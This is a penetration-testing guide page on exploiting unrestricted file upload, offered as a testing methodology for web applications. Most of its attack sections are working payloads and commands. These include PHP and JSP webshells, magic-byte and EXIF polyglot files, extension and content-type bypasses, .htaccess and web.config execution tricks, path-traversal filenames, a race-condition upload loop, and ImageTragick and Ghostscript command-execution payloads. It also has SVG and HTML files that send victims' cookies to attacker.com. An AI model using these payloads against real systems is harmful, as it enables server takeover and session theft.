Skip to main content
CWECWE-434
WSTGWSTG-BUSL-08
MITRE ATT&CKT1105
CVSS Range5.3-9.8
Toolsfuxploider
Difficulty🟡 intermediate

File Upload Exploitation

Unrestricted file upload occurs when an application allows users to upload files without properly validating file type, content, or storage location. By uploading a malicious file (webshell, polyglot, or executable), you can achieve remote code execution, stored XSS, or overwrite critical application files.

Quick Reference​

AspectDetails
Attack typeServer-side code execution via uploaded content
TargetAny file upload endpoint (profile pictures, attachments, imports, media)
TechniqueExtension bypass, content-type spoofing, polyglot files, path traversal in filename
Key CWECWE-434 (Unrestricted Upload), CWE-351 (Insufficient Type Distinction), CWE-436 (Interpretation Conflict)

Common upload parameters: file, upload, attachment, avatar, image, document, import, media, photo, resume, csv

Identify Upload Points​

Look for any functionality that accepts file input:

  • Profile/avatar uploads -- user photos, team logos, org branding
  • Document management -- file attachments, report uploads, CSV/Excel imports
  • Content management -- blog post images, media library, theme uploads
  • Support/ticketing -- attachment fields in forms, chat file sharing
  • API endpoints -- multipart/form-data POST, PUT with file body, base64-encoded file fields
  • Bulk operations -- CSV import, XML data import, configuration file upload

Fingerprint Server-Side Processing​

Understanding how the server processes uploads reveals which attacks are viable:

# Upload a test file and observe server behavior
# Check response headers for processing hints
curl -X POST "https://TARGET/upload" \
-F "file=@test.txt" -v 2>&1 | grep -iE "(content-type|location|server)"

# Check if uploaded files are served back directly
# If URL contains the original filename, path traversal may work
curl -I "https://TARGET/uploads/test.txt"

# Check if images are resized/re-encoded (breaks polyglot attacks)
# Upload a known image, download it, compare file size
curl -s "https://TARGET/uploads/avatar.png" | wc -c

Bypass Extension Filters​

Alternative Extensions​

Servers often block .php but miss alternative extensions that the web server still executes:

# PHP alternatives
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.phar
shell.phps
shell.pgif
shell.pht
shell.inc

# ASP/ASPX alternatives
shell.asp
shell.aspx
shell.ashx
shell.asmx
shell.cer
shell.soap

# JSP alternatives
shell.jsp
shell.jspx
shell.jsw
shell.jsv

# Other server-side
shell.cgi
shell.pl
shell.py
shell.rb
shell.cfm

Case Manipulation​

shell.PhP
shell.pHp
shell.PHP
shell.Php5
shell.pHP7

Double Extensions​

# Server may validate only the first or last extension
shell.php.jpg
shell.jpg.php
shell.php.png
shell.png.php
shell.php.txt

# Some servers use the first recognized extension
shell.php.xxxxx

Null Byte Injection​

# Works on older systems (PHP <5.3.4, Java, some C-based parsers)
# Server validates .jpg, but filesystem truncates at null byte
shell.php%00.jpg
shell.php\x00.jpg
shell.asp%00.jpg

Trailing Characters​

# Dot stripping on Windows
shell.php.
shell.php..
shell.php...

# Space padding
shell.php%20
shell.php (with trailing space)

# Semicolon (IIS)
shell.asp;.jpg

# Colon (Windows NTFS alternate data stream)
shell.asp::$DATA

Content-Type Spoofing​

# Override Content-Type header to bypass MIME validation
curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;type=image/jpeg"

curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;type=image/png"

curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;type=application/octet-stream"

Bypass Content Validation​

Magic Bytes (File Signatures)​

Prepend valid file signatures to bypass content inspection that checks file headers:

# GIF header + PHP webshell
printf 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shell.gif.php

# PNG header + PHP (first 8 bytes of valid PNG)
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.png.php

# JPEG header + PHP
printf '\xff\xd8\xff\xe0<?php system($_GET["cmd"]); ?>' > shell.jpg.php

# PDF header + PHP
printf '%%PDF-1.4\n<?php system($_GET["cmd"]); ?>' > shell.pdf.php

Polyglot Files​

Files that are simultaneously valid in two formats:

# Create a valid JPEG that is also valid PHP
# 1. Start with a minimal valid JPEG
# 2. Inject PHP into EXIF comment field
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legitimate.jpg
mv legitimate.jpg shell.jpg.php

# GIF polyglot (GIF89a header is valid PHP comment opener with right encoding)
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > polyglot.gif

# SVG with embedded JavaScript (for stored XSS, not RCE)
cat > xss.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<rect width="100" height="100"/>
</svg>
EOF

Image Re-encoding Bypass​

If the server re-encodes images (ImageMagick, GD, Pillow), injected code in metadata is destroyed. Work around this:

# Inject PHP into IDAT chunks of a PNG that survives re-encoding
# Use tools like `png_payload` to embed code in pixel data
# The payload survives lossless re-encoding

# For JPEG, inject into quantization tables or Huffman tables
# These survive JPEG re-compression at the same quality level

Exploit Upload for RCE​

PHP Webshells​

# Minimal webshell
<?php system($_GET['cmd']); ?>

# One-liner with output
<?php echo shell_exec($_GET['cmd']); ?>

# Stealthier -- base64 encoded command
<?php system(base64_decode($_GET['c'])); ?>

# Using .htaccess to enable PHP execution in upload directory
# If you can upload .htaccess:
AddType application/x-httpd-php .jpg

.htaccess Upload​

If the server runs Apache and you can upload to a directory that respects .htaccess:

# Upload .htaccess that makes .jpg files execute as PHP
cat > .htaccess << 'EOF'
AddType application/x-httpd-php .jpg
EOF
curl -X POST "https://TARGET/upload" -F "file=@.htaccess"

# Then upload a .jpg containing PHP code
curl -X POST "https://TARGET/upload" -F "file=@shell.jpg"

# Execute
curl "https://TARGET/uploads/shell.jpg?cmd=id"

web.config Upload (IIS)​

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="aspx" path="*.jpg" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll"
resourceType="Unspecified" />
</handlers>
</system.webServer>
</configuration>

JSP Webshell​

<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\A");
out.println(s.hasNext() ? s.next() : "");
%>

Exploit Path Traversal in Filename​

If the server uses the uploaded filename to determine storage path without sanitization:

# Overwrite application files
curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;filename=../../../var/www/html/shell.php"

# Try URL encoding
curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;filename=..%2f..%2f..%2fvar%2fwww%2fhtml%2fshell.php"

# Try double URL encoding
curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;filename=..%252f..%252f..%252fshell.php"

# Overwrite config files for RCE
curl -X POST "https://TARGET/upload" \
-F "file=@evil-config.php;filename=../config/database.php"

Exploit Stored XSS via Upload​

When RCE is not possible, uploaded files can achieve stored XSS:

# SVG with JavaScript
cat > xss.svg << 'EOF'
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
</svg>
EOF

# HTML file upload
cat > xss.html << 'EOF'
<html><body><script>fetch('https://attacker.com/?c='+document.cookie)</script></body></html>
EOF

# PDF with JavaScript (if served inline)
# Use tools to craft a PDF with embedded JS

Race Condition: Upload Then Execute​

Some applications upload the file first, then validate and delete it. Exploit the time window:

# Upload malicious file in a loop while simultaneously requesting it
# Terminal 1: Upload continuously
while true; do
curl -s -X POST "https://TARGET/upload" -F "file=@shell.php" &
done

# Terminal 2: Request the file continuously
while true; do
curl -s "https://TARGET/uploads/shell.php?cmd=id" | grep -q "uid=" && echo "EXECUTED" && break
done

Use Turbo Intruder or custom scripts for precise timing.

Exploit Image Processing Libraries​

ImageMagick (ImageTragick -- CVE-2016-3714)​

# MVG payload -- command execution via delegate
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
EOF

# SVG payload for ImageMagick
cat > exploit.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px">
<image xlink:href="https://example.com/image.jpg&quot;|id > /tmp/pwned&quot;" />
</svg>
EOF

# Upload with image extension
mv exploit.svg exploit.svg.jpg
curl -X POST "https://TARGET/upload" -F "file=@exploit.svg.jpg;type=image/jpeg"

Ghostscript (PDF/PS processing)​

# PostScript payload for command execution
cat > exploit.eps << 'EOF'
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/pwned) currentdevice putdeviceprops
EOF

Testing Methodology​

  1. Enumerate upload endpoints -- Find all file upload functionality (forms, APIs, drag-and-drop zones).
  2. Test allowed extensions -- Upload files with various extensions to map the filter.
  3. Test content validation -- Upload files with mismatched extension/content to check if content is inspected.
  4. Test filename handling -- Include path traversal characters (../), null bytes, and special characters in filenames.
  5. Locate uploaded files -- Determine the storage URL/path. Check if files are served by the web server directly.
  6. Test execution -- If server-side files are uploaded, check if the web server executes them.
  7. Test race conditions -- If files are validated after upload, try to access them before deletion.
  8. Test image processing -- If images are processed server-side, try ImageMagick/Ghostscript payloads.

Impact Assessment​

Level 1 -- Upload Bypass (Low severity): You can upload files that violate the application's intended file type restrictions. Proof: non-image file stored and accessible via URL.

Level 2 -- Stored XSS (Medium severity): Uploaded file (SVG, HTML) executes JavaScript when viewed by other users. Proof: JavaScript execution in another user's browser context.

Level 3 -- File Overwrite (High severity): Path traversal in filename allows overwriting application files. Proof: application configuration or source file replaced with attacker-controlled content.

Level 4 -- Remote Code Execution (Critical severity): Uploaded webshell executes server-side commands. Proof: output of id or whoami command returned via the uploaded file.

Documentation Template​

## File Upload -- [Extension Bypass / Webshell / Path Traversal / etc.]

**URL:** [upload endpoint]
**Parameter:** [file field name]
**Bypass technique:** [what validation was bypassed and how]

### Upload Request

[Exact HTTP request with file content]

### Execution / Impact

[How the uploaded file was accessed/executed, with response]

Tools​

ToolPurposeWhen to use
Burp SuiteIntercept and modify upload requestsAlways -- modify filename, content-type, and body in transit
exiftoolInject payloads into image metadata (EXIF, IPTC, XMP)Creating polyglot images with embedded code
fuxploiderAutomated file upload vulnerability scannerFirst-pass scan of upload endpoints for extension/content-type bypasses
upload-scanner (Burp extension)Comprehensive upload testingSystematic testing of all bypass techniques against an endpoint
curlManual multipart upload craftingPrecise control over filename, content-type, and file content

Prioritization​

Test these first (highest real-world exploitability)​

  1. Webshell upload via extension bypass -- EPSS >0.7 for unrestricted upload CVEs. Double extensions (.php.jpg), case variations (.pHp), and alternative extensions (.phtml, .php5) are the most commonly exploited bypasses. Test if uploaded files are served with executable content types.
  2. Path traversal in filename -- If the application uses the original filename, inject ../../ to write outside the upload directory. ZIP Slip attacks on archive extraction are especially effective.
  3. Content-type spoofing with polyglot files -- Upload files that are valid images AND contain embedded code (PHP in EXIF, JavaScript in SVG). Bypasses content-type validation while achieving execution.

Test these if time permits (lower exploitability)​

  1. SVG/HTML upload for stored XSS -- Only effective if the application serves uploaded files inline (not as downloads). Lower severity than RCE but still significant.
  2. Overwrite critical application files -- Requires knowing the application's file structure and having write access to the webroot. Rare but devastating.
  3. Race condition in upload validation -- Upload a file and access it before async validation/deletion completes. Requires precise timing.

Skip if​

  • Application does not have any file upload functionality
  • All uploads go to object storage (S3, GCS) with no server-side execution capability
  • Uploaded files are never served back to users (e.g., processed and discarded)

Asset criticality​

Prioritize by execution context: uploads served from the same domain as the application (RCE risk) > uploads served from a separate CDN domain (XSS risk only) > uploads stored but never served (metadata-only attacks). Upload endpoints on admin panels have higher priority due to elevated trust context.